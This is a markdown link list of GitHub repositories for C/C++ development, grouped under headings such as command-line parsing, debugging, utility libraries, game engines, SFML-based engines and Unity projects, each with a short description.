- [gamemode](https://github.com/FeralInteractive/gamemode) : Optimise Linux system performance on demand
- [ArduinoJoystickLibrary](https://github.com/MHeironimus/ArduinoJoystickLibrary) : An Arduino library that adds one or more joysticks to the list of HID devices an Arduino Leonardo or Arduino Micro can support.
- [cppwinrt](https://github.com/microsoft/cppwinrt) : C++/WinRT is a standard C++ language projection for the Windows Runtime
- [libenjoy](https://github.com/Tasssadar/libenjoy) : Simple & small C joystick library for Linux and Windows. See README
- [nxquake2](https://github.com/fgsfdsfgs/nxquake2) : Nintendo Switch port of the Yamagi Quake II client
- [compiler-warnings](https://github.com/Barro/compiler-warnings) : A list of compiler warning flags for different GCC and clang versions
- Command Line Arguments
- [getopt](https://github.com/mpusz/getopt) : C++ command line options parser for C++ Standard Library
- [args](https://github.com/Taywee/args) : A simple header-only C++ argument parser library. Supposed to be flexible and powerful, and attempts to be compatible with the functionality of the Python standard argparse library (though not nec…
- [argparse](https://github.com/p-ranav/argparse) : Argument Parser for Modern C++
- [cli](https://github.com/daniele77/cli) : A library for interactive command line interfaces in modern C++
- [radare2](https://github.com/radareorg/radare2) : unix-like reverse engineering framework and commandline tools
- [Clara](https://github.com/catchorg/Clara) : A simple to use, composable, command line parser for C++ 11 and beyond
- [CmdLine2](https://github.com/abolz/CmdLine2) : Command line argument parser (C++14)
- [clipp](https://github.com/muellan/clipp) : easy to use, powerful & expressive command line argument parsing for modern C++ / single header / usage & doc generation
- [argh](https://github.com/adishavit/argh) : Argh! A minimalist argument handler.
- [cxxopts](https://github.com/jarro2783/cxxopts) : Lightweight C++ command line option parser
- [Arguments](https://github.com/dabbertorres/Arguments) : Command line argument handling for C++
- [gflags](https://github.com/gflags/gflags) : The gflags package contains a C++ library that implements commandline flags processing. It includes built-in support for standard types such as string and the ability to define flags in the source file in which they are used. Online documentation available at: https://gflags.github.io/gflags/
- [args](https://github.com/pfultz2/args) : Simple and type-safe commandline argument parser for C++14
- Regex
- [CppVerbalExpressions](https://github.com/VerbalExpressions/CppVerbalExpressions) : C++ regular expressions made easy
- [tiny-regex-mod](https://github.com/monolifed/tiny-regex-mod) : Single file modification of tiny-regex-c by Kokke
- [BlingFire](https://github.com/microsoft/BlingFire) : A lightning fast Finite State machine and REgular expression manipulation library.
- [cparse](https://github.com/cparse/cparse) : A C++ configurable Expression Parser. Useful as a Calculator or for helping you write your own Programming Language
- Date
- [date](https://github.com/HowardHinnant/date) : A date and time library based on the C++11/14/17 <chrono> header
- [asap](https://github.com/mobius3/asap) : A C++ header-only library for creating, displaying, iterating and manipulating dates
- Clang
- [clang](https://github.com/asutton/clang) :
- [clang-reflect](https://github.com/asutton/clang-reflect) : A clean implementation of reflection and related proposals.
- [cftf](https://github.com/neobrain/cftf) : Clang from the Future: A C++17 to C++11 source-to-source compiler
- [clang-power-tools](https://github.com/Caphyon/clang-power-tools) : Bringing clang-tidy magic to Visual Studio C++ developers.
- [clang-format-all](https://github.com/eklitzke/clang-format-all) : Run clang-format -i on all of the files in your C or C++ project
- [CppAst](https://github.com/xoofx/CppAst) : CppAst is a .NET library providing a C/C++ parser for header files powered by Clang/libclang with access to the full AST, comments and macros
- [autotidy](https://github.com/sasq64/autotidy) : Speedier handling of clang-tidy checking
- [cppinsights](https://github.com/andreasfertig/cppinsights) : C++ Insights - See your source code with the eyes of a compiler
- [cppast](https://github.com/foonathan/cppast) : Library to parse and work with the C++ AST
- [llvm-project](https://github.com/llvm/llvm-project) : The LLVM Project is a collection of modular and reusable compiler and toolchain technologies. Note: the repository does not accept github pull requests at this moment. Please submit your patches at…
- HotReload
- [car](https://github.com/nicholaschiasson/car) : Compile and Run! Execute source files directly without worrying at all about compiling.
- [PolyHook_2_0](https://github.com/stevemk14ebr/PolyHook_2_0) : C++17, x86/x64 Hooking Libary v2.0
- [Ratchet](https://github.com/themeldingwars/Ratchet) : A gameclient hooking framework to aid debuging
- [PolyHook](https://github.com/stevemk14ebr/PolyHook) : x86/x64 C++ Hooking Library
- [jet-live](https://github.com/ddovod/jet-live) : c++ hot code reload for linux and macos
- [blink](https://github.com/crosire/blink) : A tool which allows you to edit source code of any MSVC C++ project live at runtime
- [CToy](https://github.com/anael-seghezzi/CToy) : Interactive C coding environment
- [C-Hotloading](https://github.com/RandyGaul/C-Hotloading) : Example of MSVC makefile project for hotloading C with intellisense/debugger compatability
- [RuntimeCompiledCPlusPlus](https://github.com/RuntimeCompiledCPlusPlus/RuntimeCompiledCPlusPlus) : Change C++ code at runtime
- [live_reload_test](https://github.com/nlguillemot/live_reload_test) : demonstration of live reloading
- [cr](https://github.com/fungos/cr) : cr.h: A Simple C Hot Reload Header-only Library
- [live_edit](https://github.com/azmr/live_edit) : A collection of single-header libraries to help with reloading, debugging and profiling C(++) code.
- [RCCpp_DX11_Example](https://github.com/dougbinks/RCCpp_DX11_Example) : Runtime Compiled C++ example based on the Dear ImGui DirectX11 Example
- UID
- [uuid_h](https://github.com/wc-duck/uuid_h) : Single file, STB-style, "lib" to generate uuid:s.
- [yauid](https://github.com/lexborisov/yauid) : A decentralized unique ID generator (int64)
- Debug
- [PPK_ASSERT](https://github.com/gpakosz/PPK_ASSERT) : PPK_ASSERT is a cross platform drop-in & self-contained C++ assertion library
- [debugbreak](https://github.com/scottt/debugbreak) : break into the debugger programmatically
- [crashpad](https://github.com/chromium/crashpad) : A crash-reporting system
- [in_constexpr](https://github.com/SaadAhmad/in_constexpr) : An approach for runtime detection inside a constexpr function
- [backward-cpp](https://github.com/bombela/backward-cpp) : A beautiful stack trace pretty printer for C++
- [debug_assert](https://github.com/foonathan/debug_assert) : Simple, flexible and modular assertion macro.
- [EAAssert](https://github.com/electronicarts/EAAssert) : EAAssert is a simple and lightweight assert technology.
- [dbg-macro](https://github.com/sharkdp/dbg-macro) : A dbg(…) macro for C++
- [dbgtools](https://github.com/wc-duck/dbgtools) : Small collection of debug-related drop-in c/c++-utils
- [x64dbg](https://github.com/x64dbg/x64dbg) : An open-source x64/x32 debugger for windows.
## Libraries
[Back to top](#Index)
- [putils](https://github.com/phisko/putils) - Phisko's C++ utilities. Large collection of helper classes and functions.
- [HandyCpp](https://github.com/malamanteau/HandyCpp) : A large collection of header only utilities and convenience functions that make C++17 development happier.
- [single_file_libs](https://github.com/prideout/single_file_libs) : List of single-file C/C++ libraries.
- [bitsquid-foundation](https://github.com/niklas-ourmachinery/bitsquid-foundation) : A minimalistic foundation library with functions for memory allocation, basic collections, etc. The library has been written with a data-oriented philosophy: POD structures are preferred over class…
- [EABase](https://github.com/electronicarts/EABase) : EABase is a small set of header files that define platform-independent data types and platform feature macros.
- [EAStdC](https://github.com/electronicarts/EAStdC) : EAStdC is a package which implements basic library facilities that are similar to those in the standard C library.
- [acd](https://github.com/acdemiralp/acd) : Single file utilities for C++.
- [single-file-libs](https://github.com/machinamentum/single-file-libs) : super permissive, drop-in, single file stuff
- [par](https://github.com/prideout/par) : single-file C libraries from Philip Allan Rideout
- [paq](https://github.com/pennie-quinn/paq) : public domain single-file C/++ libraries for game devs
- [Core](https://github.com/HeliumProject/Core) : Core libraries and utilities
- [dr_libs](https://github.com/mackron/dr_libs) : A collection of public domain single-file libraries for C/C++.
- [limbus](https://github.com/redien/limbus) : A cross-platform game library in the public domain
- [RandomCode](https://github.com/Atrix256/RandomCode) : Random projects that are ok to be public, like blog stuff
- [tinypile](https://github.com/fgenesis/tinypile) : Assorted small one-or-two-file libs. C/C++. Public domain. Cross-platform. No deps.
- [dm](https://github.com/dariomanesku/dm) : Header-only base C++ library.
- [sokol](https://github.com/floooh/sokol) : minimal cross-platform standalone C headers
- [gamedev_libraries](https://github.com/raizam/gamedev_libraries) : A collection of open source c/c++ libraries for gamedev
- [Flint](https://github.com/stevenlr/Flint) : Public domain single-file header-only C libraries
- [sx](https://github.com/septag/sx) : Portable base library for C programmers, designed for performance and simplicity.
- [cosmos](https://github.com/OpenGenus/cosmos) : Algorithms that run our universe | Your personal library of every algorithm and data structure code that you will ever encounter | Ask us anything at our forum
- [mmx](https://github.com/vurtun/mmx) : single header libraries for C/C++
- [final_game_tech](https://github.com/f1nalspace/final_game_tech) : Game related libraries written in C/C++
- [bss-util](https://github.com/Black-Sphere-Studios/bss-util) : Black Sphere Studios utility library for C/C++
- [kj](https://github.com/AfroDave/kj) : kj is a small collection of stb inspired libs.
- [sac](https://github.com/peppsac/sac) : C/C++ helpers
- [ZHeaders](https://github.com/Zguy/ZHeaders) : Public domain single-file libraries - stb style
- [miscsrc](https://github.com/wernsey/miscsrc) : My collection of miscellaneous source code
- [libs](https://github.com/mattiasgustavsson/libs) : Single-file public domain libraries for C/C++
- [stb](https://github.com/nothings/stb) : stb single-file public domain libraries for C/C++
- [tinybits](https://github.com/r-lyeh/tinybits) : Tiny bits and useful snippets that I keep using everywhere (C, C++)
- [tacent](https://github.com/bluescan/tacent) : A collection of C++ modules implementing linear algebra, text and file IO, containers, image loading and saving, command-line parsing, etc. Useful for the foundation of a game engine or other inter…
- [libdhcore](https://github.com/septag/libdhcore) : Lightweight, performance oriented, Core library for 'C' programmers
- [slibs](https://github.com/yui0/slibs) : Single file libraries for C/C++
- [foundation_lib](https://github.com/rampantpixels/foundation_lib) : Cross-platform public domain foundation library in C providing basic support data types and functions to write applications and games in a platform-independent fashion.
- [cute_headers](https://github.com/RandyGaul/cute_headers) : Collection of cross-platform one-file C/C++ libraries with no dependencies, primarily used for games
- [ZeroTolerance](https://github.com/jharler/ZeroTolerance) : Collection of single header file libraries for C/C++ development, with a focus on games.
- [chobo-shl](https://github.com/Chobolabs/chobo-shl) : A collection of single-header C++11 libraries by Chobolabs
- [single_file_libs](https://github.com/nothings/single_file_libs) : List of single-file C/C++ libraries.
- [kit](https://github.com/flipcoder/kit) : C++11 libs: await, channels, reactive/signals, timelines, alarms, logging, args, etc.
- [msh](https://github.com/mhalber/msh) : Maciej's Toolbox
- [abseil-cpp](https://github.com/abseil/abseil-cpp) : Abseil Common Libraries (C++)
- [Nimble](https://github.com/dmsovetov/Nimble) : Nimble is a header-only utility library.
- [rsm](https://github.com/Rosme/rsm) : Utility Library
- [bx](https://github.com/bkaradzic/bx) : Base library used across multiple projects
- [utils](https://github.com/eigenbom/utils) : A collection of data structures and utilities (C++11)
- [loki](https://github.com/dutor/loki) : A C++ Template library, developed by Andrei Alexandrescu, the author of the book Modern C++ Design.
- [loki-lib](https://github.com/snaewe/loki-lib) : Loki is a C++ library of designs, containing flexible implementations of common design patterns and idioms.
- [GSL](https://github.com/microsoft/GSL) : Guidelines Support Library
- [vrm_core](https://github.com/SuperV1234/vrm_core) : Lightweight C++14 utility library. (Modernized, stripped and cleaned-up version of SSVUtils.)
- [Aurora](https://github.com/Bromeon/Aurora) : Header-only library with unconventional C++ features, like deep-copy smart pointers, dynamic dispatch, type-erased ranges
- [gsl-lite](https://github.com/martinmoene/gsl-lite) : gsl lite - A single-file header-only version of ISO C++ Guidelines Support Library (GSL) for C++98, C++11 and later
- [cpp-utilities](https://github.com/eteran/cpp-utilities) : Miscellaneous C++11 utility classes and functions
- [Snippets](https://github.com/DanielGibson/Snippets) : (Hopefully) useful code snippets and header-only libs
- [sts](https://github.com/kieselsteini/sts) : My collection of public domain single file libraries
- [gb](https://github.com/gingerBill/gb) : gb single-file public domain libraries for C & C++
- [emilib](https://github.com/emilk/emilib) : Loose collection of misc C++ libs
- [liboli](https://github.com/Francesco149/liboli) : personal single-header c89 library with misc utilities (I actually made this just so that I can add -loli to ldflags)
- [commonItems](https://github.com/ParadoxGameConverters/commonItems) : Common utilities used by various converters
- [zpl](https://github.com/zpl-c/zpl) : Your C11 Powerkit
- [Plinth](https://github.com/Hapaxia/Plinth) : Foundation library of helpful classes/functions
- [sftools](https://github.com/mantognini/sftools) : Bunch of tools for SFML application development
- [MISC](https://github.com/sawickiap/MISC) : Miscellaneous small code snippets.
## Engines
[Back to top](#Index)
- [kengine](https://github.com/phisko/kengine) - The Koala engine is a type-safe and self-documenting implementation of an Entity-Component-System (ECS), with a focus on runtime extensibility and compile-time type safety and clarity.
- [game](https://github.com/onqtam/game) : The culmination of everything I'm passionate about
- [Enjon](https://github.com/MrFrenik/Enjon) : Game engine created using OpenGL and C++
- [Shadow-Functions-Engine](https://github.com/mmmuscus/Shadow-Functions-Engine) : A small ASCII graphical game engine for the windows console (and Linux since v2.0.2.) done in C++
- [cheat-engine](https://github.com/cheat-engine/cheat-engine) : Cheat Engine. A development environment focused on modding
- [CORE](https://github.com/r-lyeh/CORE) : Game engine core playground
- [Cauldron](https://github.com/GPUOpen-LibrariesAndSDKs/Cauldron) : A simple framework for rapid prototyping on Vulkan or Direct3D 12
- [bigg](https://github.com/JoshuaBrookover/bigg) : bgfx, imgui, glfw, glm
- [goxel](https://github.com/guillaumechereau/goxel) : Goxel: Free and Open Source 3D Voxel Editor
- [lumixengine_shader_editor](https://github.com/nem0/lumixengine_shader_editor) : Visual shader editor for Lumix Engine
- [Open7Days](https://github.com/UglySwedishFish/Open7Days) : A fast engine based on the technology behind 7 days to die.
- [NebulaRender](https://github.com/Trylz/NebulaRender) : A powerful physically based renderer with a fully featured editor.
- [GameEngine](https://github.com/qnope/GameEngine) : Little Game Engine that aims to be Physically Based for the lighting part
- [include-engine](https://github.com/sgorsten/include-engine) : #include <engine>
- [MAGE](https://github.com/matt77hias/MAGE) : 🧙 MAGE - Matthias Advanced Game Engine
- [TrinityCore](https://github.com/TrinityCore/TrinityCore) : TrinityCore Open Source MMO Framework (master = 8.2.0.31478, 3.3.5 = 3.3.5a.12340)
- [boden](https://github.com/AshampooSystems/boden) : Purely native C++ cross-platform framework for Android and iOS development. https://www.boden.io
- [AtomicGameEngine](https://github.com/AtomicGameEngine/AtomicGameEngine) : The Atomic Game Engine is a multi-platform 2D and 3D engine with a consistent API in C++, C#, JavaScript, and TypeScript
- [NoahGameFrame](https://github.com/ketoo/NoahGameFrame) : A fast, scalable, distributed game server engine/framework for C++, include actor library, network library,can be used as a real time multiplayer game engine ( MMO RPG/MOBA ), which support C#/Lua …
- [Viry3D](https://github.com/stackos/Viry3D) : Cross platform 2D and 3D game engine in C++.
- [aether3d](https://github.com/bioglaze/aether3d) : Aether3D Game Engine
- [kiyosGameEngine](https://github.com/kiyoMatsui/kiyosGameEngine) : KiyoGameEngine is a small header only C++17 library, that provides boilerplate code for a small to medium sized games
- [Wolf.Engine](https://github.com/WolfEngine/Wolf.Engine) : The Wolf is a comprehensive set of C++ open source libraries for realtime rendering, realtime streaming and game developing
- [OpenXRay](https://github.com/OpenXRay/xray-16) : Improved version of the X-Ray engine, used in world famous S.T.A.L.K.E.R. game series by GSC Game World.
- [mintaro](https://github.com/dr-soft/mintaro) : A small framework for making simple games.
- [DmitrysEngine](https://github.com/mrDIMAS/DmitrysEngine) : C99 cross-platform 3D game engine with absolute minimum of external dependencies
- [libavg](https://github.com/libavg/libavg) :
- [zdog](https://github.com/metafizzy/zdog) : Flat, round, designer-friendly pseudo-3D engine for canvas & SVG
- [Xbox-ATG-Samples](https://github.com/microsoft/Xbox-ATG-Samples) : Game development samples published by the Xbox Advanced Technology Group.
- [shiva](https://github.com/Milerius/shiva) : Modern Cross-Platform C++ Engine with modularity (MIT). Maintains here: https://github.com/KomodoPlatform/antara-gaming-sdk
- [enduro2d](https://github.com/enduro2d/enduro2d) : Yet another 2d game engine of dreams (work in progress)
- [FlexEngine](https://github.com/ajweeks/FlexEngine) : A personal game engine
- [rbfx](https://github.com/rokups/rbfx) : Game engine with extensive C# support and WYSIWYG editor.
- [qtbase](https://github.com/qt/qtbase) : Qt Base (Core, Gui, Widgets, Network, ...)
- [Engine](https://github.com/HeliumProject/Engine) : C++ Game Engine (Under Construction!)
- [Acid](https://github.com/EQMG/Acid) : A high speed C++17 Vulkan game engine
- [quartz-engine](https://github.com/GentenStudios/quartz-engine) : A New Game Engine, specializing in ease of content creation through a scripting language
- [Corange](https://github.com/orangeduck/Corange) : Pure C Game Engine
- [Simpleton-Engine](https://github.com/Kerndog73/Simpleton-Engine) : What a stupid name for a library
- [BabylonCpp](https://github.com/samdauwe/BabylonCpp) : A port of Babylon.js to C++
- [igneous](https://github.com/MissingBitStudios/igneous) : Igneous is an open source game engine written in C++.
- [godot](https://github.com/godotengine/godot) : Godot Engine – Multi-platform 2D and 3D game engine
- [anki-3d-engine](https://github.com/godlikepanos/anki-3d-engine) : AnKi 3D Engine - Vulkan backend, modern renderer, scripting, physics and more
- [raylib-cpp](https://github.com/RobLoach/raylib-cpp) : C++ Object Oriented Wrapper for raylib
- [engine](https://github.com/mgerhardy/engine) : Home of a voxel game engine and its tools (like a voxel editor)
- [PGE-Project](https://github.com/WohlSoft/PGE-Project) : Platform Game Engine Project by Wohlstand
- [Daemon](https://github.com/DaemonEngine/Daemon) : The Dæmon game engine. With some bits of ioq3 and XreaL.
- [thunder](https://github.com/eprikazchikov/thunder) : An open source game engine is written in C++ with a flexible architecture
- [vxr](https://github.com/avilapa/vxr) : General purpose engine written in C++ with emphasis on materials rendering (PBR, clear coat, anisotropy, iridescence)
- [rex](https://github.com/BuckeyeSoftware/rex) : rex engine and game
- [OpenGraphic](https://github.com/Gforcex/OpenGraphic) : Graphic Engine & Game Engine lists
- [WickedEngine](https://github.com/turanszkij/WickedEngine) : C++ game engine focusing on modern rendering techniques and performance.
- [alimer](https://github.com/amerkoleci/alimer) : Cross-platform 2D and 3D game engine.
- [ignifuga](https://github.com/gabomdq/ignifuga) : Ignifuga Game Engine
- [Rak](https://github.com/UglySwedishFish/Rak) : Real-time hybrid engine written in C++
- [CRYENGINE](https://github.com/CRYTEK/CRYENGINE) : CRYENGINE is a powerful real-time game development platform created by Crytek.
- [engine](https://github.com/playcanvas/engine) : Fast and lightweight WebGL game engine
- [fusion3d](https://github.com/AntRobWells35/fusion3d) : A next gen 3D engine fusing modern techniques and apis.
- [Cinder](https://github.com/cinder/Cinder) : Cinder is a community-developed, free and open source library for professional-quality creative coding in C++.
- [EtherealEngine](https://github.com/volcoma/EtherealEngine) : C++ Game Engine and Editor
- [mos](https://github.com/morganbengtsson/mos) : Lightweight game engine.
- [halley](https://github.com/amzeratul/halley) : A lightweight game engine written in modern C++
- [eight](https://github.com/hodgman/eight) : Automatically exported from code.google.com/p/eight
- [RaZ](https://github.com/Razakhel/RaZ) : Modern & multiplatform 3D engine in C++17
- [unity-decompiled](https://github.com/jamesjlinden/unity-decompiled) :
- [limonEngine](https://github.com/enginmanap/limonEngine) : 3D FPS game engine with full dynamic lighting and shadows
- [DOOM](https://github.com/id-Software/DOOM) : DOOM Open Source Release
- [OpenMiner](https://github.com/Unarelith/OpenMiner) : Scriptable Minecraft-like game engine written in C++14 using GameKit
- [openFrameworks](https://github.com/openframeworks/openFrameworks) : openFrameworks is a community-developed cross platform toolkit for creative coding in C++.
- [Arcane-Engine](https://github.com/Ershany/Arcane-Engine) : 3D C/C++ Game Engine - Created By Brady Jessup
- [permafrost-engine](https://github.com/eduard-permyakov/permafrost-engine) : An OpenGL 3.3 RTS game engine written in C
- [Cardinal-Engine](https://github.com/Aredhele/Cardinal-Engine) : 3D Cross-Platform Game Engine programmed in C++ with OpenGL 3
- [eternity](https://github.com/team-eternity/eternity) : The Eternity Engine
- [Quiver](https://github.com/rachelnertia/Quiver) : A cross-platform pseudo-3D game engine written in C++
- [GibEngine](https://github.com/MattRyder/GibEngine) : Cross-platform OpenGL 3D game engine
- [Inline-Engine](https://github.com/petiaccja/Inline-Engine) : Game engine written in C++ with ease of use and next-gen parallel computing in focus.
- [DiligentEngine](https://github.com/DiligentGraphics/DiligentEngine) : A modern cross-platform low-level graphics library and rendering framework
- [yeti](https://github.com/origamicomet/yeti) : A general-purpose data-driven game engine with tools. Attribution based licensing.
- [GameEngineResources](https://github.com/cesarl/GameEngineResources) :
- [openage](https://github.com/SFTtech/openage) : Free (as in freedom) open source clone of the Age of Empires II engine
- [Zmey](https://github.com/nikoladimitroff/Zmey) : A game engine. That breathes fire and awesomeness
- [Game-Engine-Architecture](https://github.com/nikoladimitroff/Game-Engine-Architecture) : A repo contaning the learning materials for the course 'Game Engine architecture'
- [Worldstone](https://github.com/Lectem/Worldstone) : Diablo 2 tools and engine reimplementation in c++
- [catgl](https://github.com/yui0/catgl) : a cross-platform 3D graphics engine
- [SpartanEngine](https://github.com/PanosK92/SpartanEngine) : Game engine with an emphasis on architectual quality, targeting high end machines
- [ETEngine](https://github.com/Illation/ETEngine) : A merge between my planet framework and open gl graphics framework that will develop into a space sim focused game engine
- [Falcor](https://github.com/NVIDIAGameWorks/Falcor) : Real-Time Rendering Framework
- [BlueshiftEngine](https://github.com/PolygonTek/BlueshiftEngine) : Blueshift is a cross-platform 3D game engine implemented in C++. it's free, open-source, and works on Windows, macOS, iOS, and Android. The project is currently in an early stage of development.
- [crogine](https://github.com/fallahn/crogine) : SDL2 Based Game Framework for mobile devices
- [lumberyard](https://github.com/aws/lumberyard) : Amazon Lumberyard is a free AAA game engine deeply integrated with AWS and Twitch – with full source.
- [saiga](https://github.com/darglein/saiga) :
- [gincu](https://github.com/wqking/gincu) : Gincu -- a simple match three game, game engine, and game framework written in C++
- [AVA](https://github.com/r-lyeh/AVA) : A tiny unlicensed 3D game engine in C; with C++ and Lua interfaces. Written in 32 random ̷d̷a̷y̷s̷ m̷o̷n̷t̷h̷s̷ years.
- [darkhammer](https://github.com/septag/darkhammer) : darkHAMMER is a lightweight, open-source, multiplatform game engine. written in C (C99) language, supports python and C# bindings and lua scripts. Runs on windows and linux
- [FishEngine](https://github.com/yushroom/FishEngine) : Simple, Unity-like Game Engine.
- [ogre](https://github.com/OGRECave/ogre) : Ogre1 - scene-oriented, flexible 3D engine written in C++
- [NazaraEngine](https://github.com/DigitalPulseSoftware/NazaraEngine) : Nazara Engine is a fast, complete, cross-platform, object-oriented API which can help you in your daily developper life.
- [LumixEngine](https://github.com/nem0/LumixEngine) : 3D Game Engine
- [Serious-Engine](https://github.com/Croteam-official/Serious-Engine) : An open source version of a game engine developed by Croteam for the classic Serious Sam games.
- [BansheeEngine](https://github.com/BearishSun/BansheeEngine) : Modern C++14 game engine with Vulkan support, fully featured editor and C# scripting
- [polymer](https://github.com/ddiakopoulos/polymer) : graphics + interaction engine
- [Urho3D](https://github.com/urho3d/Urho3D) : Cross-platform 2D and 3D game engine.
- [gebbdoom](https://github.com/fabiensanglard/gebbdoom) : Game Engine Black Book: Doom
- [ALX](https://github.com/axilmar/ALX) : C++11 Allegro 5 wrapper library.
- [bsf](https://github.com/GameFoundry/bsf) : Modern C++14 library for the development of real-time graphical applications
- [ClanLib](https://github.com/sphair/ClanLib) : ClanLib is a cross platform C++ toolkit library.
- [raylib](https://github.com/raysan5/raylib) : A simple and easy-to-use library to enjoy videogames programming
- [smkflow](https://github.com/ArthurSonzogni/smkflow) : A C++ dataflow node editor -- Compatible with WebAssembly.
- [game-prototype](https://github.com/madureira/game-prototype) : A simple 2D top-down game framework.
- [megaglest-source](https://github.com/MegaGlest/megaglest-source) : MegaGlest real-time strategy game engine (cross-platform, 3-d)
- [freeaoe](https://github.com/sandsmark/freeaoe) : A free engine capable of running Age of Kings.
- [Horde3D](https://github.com/horde3d/Horde3D) : Horde3D is a small 3D rendering and animation engine. It is written in an effort to create an engine being as lightweight and conceptually clean as possible.
- [neoGFX](https://github.com/i42output/neoGFX) : Cross-platform GPU-oriented C++ application/game framework
- [KickJS](https://github.com/mortennobel/KickJS) : A WebGL game engine for modern web-browsers.
- [LittleOrionEngine](https://github.com/mariofv/LittleOrionEngine) : C++ 3D Engine developed during the Master's Degree in AAA Videogames Development.
- [GDevelop](https://github.com/4ian/GDevelop) : GDevelop is an open-source, cross-platform game engine designed to be used by everyone.
- [Lumos](https://github.com/jmorton06/Lumos) : Cross-Platform C++ 2D/3D game engine
- [saddy-graphics-engine-2d](https://github.com/mamontov-cpp/saddy-graphics-engine-2d) : Saddy is an open-source crossplatform 2D graphic engine, based on OpenGL, which can be used for creating 2D games. like platformers or RPGs.
- [WildMagic](https://github.com/bazhenovc/WildMagic) : A for of a well-known WildMagic engine v5.9
- [khanat-opennel-code](https://github.com/deedounet/khanat-opennel-code) :
- [pmtech](https://github.com/polymonster/pmtech) : Lightweight, multi-platform, data-oriented game engine.
- [SimpleRenderEngineProject](https://github.com/mortennobel/SimpleRenderEngineProject) : Small C++14 render engine with dependencies
- [SimpleRenderEngine](https://github.com/mortennobel/SimpleRenderEngine) : Small C++14 render engine
- [ezEngine](https://github.com/ezEngine/ezEngine) : An open source game engine in active development
- [engge](https://github.com/scemino/engge) : Experimental game engine for Thimbleweed park
- [lovr](https://github.com/bjornbytes/lovr) : Virtual Reality Engine
- [crown](https://github.com/dbartolini/crown) : The flexible game engine.
- [OpenSiv3D](https://github.com/Siv3D/OpenSiv3D) : C++17/C++20 framework for creative coding
- [LDK](https://github.com/marciovmf/ldk) : A game engine being developed from scratch for learning and practicing essential game development skills. Each and every single feature is written from scratch with absolutely no third party code or libraries.
- [JNGL](https://github.com/jhasse/jngl) : Easy to use 2D engine for Linux, Windows, macOS, Android, iOS, Xbox and the Nintendo Switch
- SFML based engines
- [SFML-Game-Development-Book](https://github.com/SFML/SFML-Game-Development-Book) : Full and up-to-date source code of the chapters of the "SFML Game Development" book
- [SFML-book](https://github.com/Krozark/SFML-book) : SFML Blueprint book, source code
- [nero-game-engine](https://github.com/sk-landry/nero-game-engine) : Advanced SFML Game Engine, Designed to be Simple and Intuitive
- [SFBL](https://github.com/Made4Dev/SFBL) : SFML Box2D Light
- [SchiffbruchEngine](https://github.com/Lirrec/SchiffbruchEngine) : SchiffbruchEngine
- [Swift2](https://github.com/dabbertorres/Swift2) : A SFML-backed game framework.
- [SFME](https://github.com/SlyrisOrg/SFME) : Simple and Fast Multimedia Engine
- [xygine](https://github.com/fallahn/xygine) : 2D engine / framework built around SFML
- [SFML-Game-Framework](https://github.com/Hopson97/SFML-Game-Framework) : Very, very simple and barebones framework for SFML games and that
- [SFML-DOOM](https://github.com/JonnyPtn/SFML-DOOM) : Original DOOM source code adapted to use c++ with SFML
- [Vigilante-Game-Framework](https://github.com/gamepopper/Vigilante-Game-Framework) : 2D/3D C++ game framework written for use with SFML.
- [ObEngine](https://github.com/Sygmei/ObEngine) : 2D Game Engine with Lua Scripting made on top of SFML !
- [QSFML](https://github.com/kamirr/QSFML) : SFML 2.x.x / Qt 5.x.x integration
- [is-Engine](https://github.com/Is-Daouda/is-Engine) : Game Engine developed with the SFML library to create games on Android and PC
- Unity
- [NativeRenderingPlugin](https://github.com/Unity-Technologies/NativeRenderingPlugin) : C++ Rendering Plugin example for Unity
- [VectorFieldExamples](https://github.com/keijiro/VectorFieldExamples) : Unity VFX Graph examples with vector fields
- [UnityWaveEquation](https://github.com/AsehesL/UnityWaveEquation) : Wave Equations
- [UnityRenderStreaming](https://github.com/Unity-Technologies/UnityRenderStreaming) : Streaming server for Unity
- [KDTree](https://github.com/viliwonka/KDTree) : Fast KDTree for Unity, with thread-safe querying.
- [ShaderGraph-Custom-Lighting](https://github.com/Unity-Technologies/ShaderGraph-Custom-Lighting) : A sample project showcasing a simple method to calculate custom lighting inside of Shader Graph for the Lightweight Render Pipeline. Includes a sample toon shaded scene and example assets. Built fo…
- [UnitySpriteShaders](https://github.com/traggett/UnitySpriteShaders) : An Uber Shader for rendering Sprites in Unity.
- [GPU-GEMS-3D-Fluid-Simulation](https://github.com/Scrawk/GPU-GEMS-3D-Fluid-Simulation) : 3D fluid simulation on the in Unity
- [Unity-Reorderable-List](https://github.com/cfoulston/Unity-Reorderable-List) : Extended version of the Reorderable List in Unity
- [ShaderTutorials](https://github.com/ronja-tutorials/ShaderTutorials) : unity shader tutorials
- [SpriteGlow](https://github.com/Elringus/SpriteGlow) : A sprite glow effect for Unity game engine
- [TerrainToolSamples](https://github.com/Unity-Technologies/TerrainToolSamples) :
- [UnitySkidmarks](https://github.com/Nition/UnitySkidmarks) : A simple skidmark effect generator for Unity3D
- [Force-Field](https://github.com/Brackeys/Force-Field) : Project files for our tutorial on how to make a Force Field in Unity using Shader Graph.
- [AtmosphericScattering](https://github.com/SlightlyMad/AtmosphericScattering) : Atmospheric Scattering for Unity
- [Unity-Experimental-DXR](https://github.com/Unity-Technologies/Unity-Experimental-DXR) : The Experimental DXR project is a Unity custom version + HDRP custom version that support DXR and will let users play with DXR features. It is not representative of future integration of DXR in Unity.
- [Deform](https://github.com/keenanwoodall/Deform) : A fully-featured deformer system for Unity.
- [SplineMesh](https://github.com/benoit-dumas/SplineMesh) : A Unity plugin to create curved content in real-time with bézier curves
- [ZeroFormatter](https://github.com/neuecc/ZeroFormatter) : Fastest C# Serializer and Infinitely Fast Deserializer for .NET, .NET Core and Unity.
- [EntityComponentSystemSamples](https://github.com/Unity-Technologies/EntityComponentSystemSamples) :
- [UnityCursorControl](https://github.com/znebby/UnityCursorControl) : A mouse cursor control module for Unity3D
- [PostProcessing](https://github.com/Unity-Technologies/PostProcessing) : Post Processing Stack
- [HelpfulScripts](https://github.com/cjacobwade/HelpfulScripts) : A collection of random, useful scripts
- [UnityVisualizations](https://github.com/WorldOfZero/UnityVisualizations) : Collection of shaders and visual effects created for Unity 3D.
- [SEGI](https://github.com/sonicether/SEGI) : A fully-dynamic voxel-based global illumination system for Unity
- [Unity-Volumetric-Light](https://github.com/MaxwellGengYF/Unity-Volumetric-Light) : A powerful volumetric light plugin based on post-processing in Unity3D
- [Entitas-CSharp](https://github.com/sschmid/Entitas-CSharp) : Entitas is a super fast Entity Component System (ECS) Framework specifically made for C# and Unity
- [TestbedHDRP](https://github.com/keijiro/TestbedHDRP) : Testbed project for Unity HDRP (High Definition Render Pipeline)
